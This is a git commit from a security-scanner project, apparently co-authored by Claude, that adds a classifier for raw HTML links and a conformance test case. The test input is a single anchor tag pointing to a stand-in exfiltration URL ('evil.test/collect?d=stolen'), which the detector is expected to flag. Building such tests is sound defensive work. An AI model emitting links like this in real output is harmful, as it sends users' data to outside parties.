feat(active-content): the seventh case, and the classifier it needed came with it
Adopting `active:raw-html-link` was one id. Publishing it honestly was the whole of `active_tag_class` — one function, three branches, no way to state the split without the no-URL narrowing and the 0.6.0 external-target rule. On the old predicate a bare `</a>` is active by name, so a consumer implementing from the hybrid would emit the new label where the seed runtime emits nothing. The file is now two pins, stated as two: v0.3.4/0bf0729 everywhere except the raw-HTML classifier, v0.7.0/be9759b there. The drift between them was measured field by field against the imported module rather than assumed, after stripping inline-flag rendering and applying the file's own declared quote normalisation so a spelling difference could not masquerade as drift. Exactly one published field had moved, and not the one this release was about: `html.active_tags` carried the MUTATOR's 23-name set where the gate means the SCANNER's 22. Correct at the 0.3.4 pin, wrong from 0.6.0 on. Kept as `html.mutator_tags`. The sweep covered 93 cases, not the 6 obvious ones. The narrowing can silence an `active:` finding inside the `observed_out_of_scope` evidence of a LEXICON case, and that field is guarded by no test anywhere — stale entries there survive forever. One case moved: html-obfuscation__aria-label, whose `<a aria-label=…>` carries no URL attribute. Its fixture is deliberately not rewritten; the residue is true at the commit `measurement` pins, and rewriting one of 83 would leave two commits under a header naming one. Recorded, dated and pinned in the manifest. The strongest check is not the digest: the checker rebuilds the published classifier from the JSON alone, importing nothing from the runtime, and differential-tests it against `active_tag_class` over 42 probe tags. 0 disagreements. That is what licenses shipping a classifier as data. No `aliases.llm_security` published, on this file or on carriers. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01LTTaT4quwNPwBYVqmgAt8t
This commit is contained in:
parent
8f08e9ac73
commit
e6ca5ae5ee
7 changed files with 393 additions and 22 deletions
19
conformance/active__raw-html-link/expected.json
Normal file
19
conformance/active__raw-html-link/expected.json
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
{
|
||||
"$comment": "Generated from a live measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
|
||||
"case_id": "active__raw-html-link",
|
||||
"input": {
|
||||
"file": "input.txt",
|
||||
"bytes": 50,
|
||||
"sha256": "6ad8cf7e73ac910db9f127f6dd03b8ed73d715a4a7eb793f83d0d4e375236ea4"
|
||||
},
|
||||
"scope": [
|
||||
"signatures/active-content.json"
|
||||
],
|
||||
"match": "exact-within-scope",
|
||||
"findings": [
|
||||
{
|
||||
"pattern_id": "active:raw-html-link"
|
||||
}
|
||||
],
|
||||
"observed_out_of_scope": {}
|
||||
}
|
||||
1
conformance/active__raw-html-link/input.txt
Normal file
1
conformance/active__raw-html-link/input.txt
Normal file
|
|
@ -0,0 +1 @@
|
|||
<a href="https://evil.test/collect?d=stolen">t</a>
|
||||
Loading…
Add table
Add a link
Reference in a new issue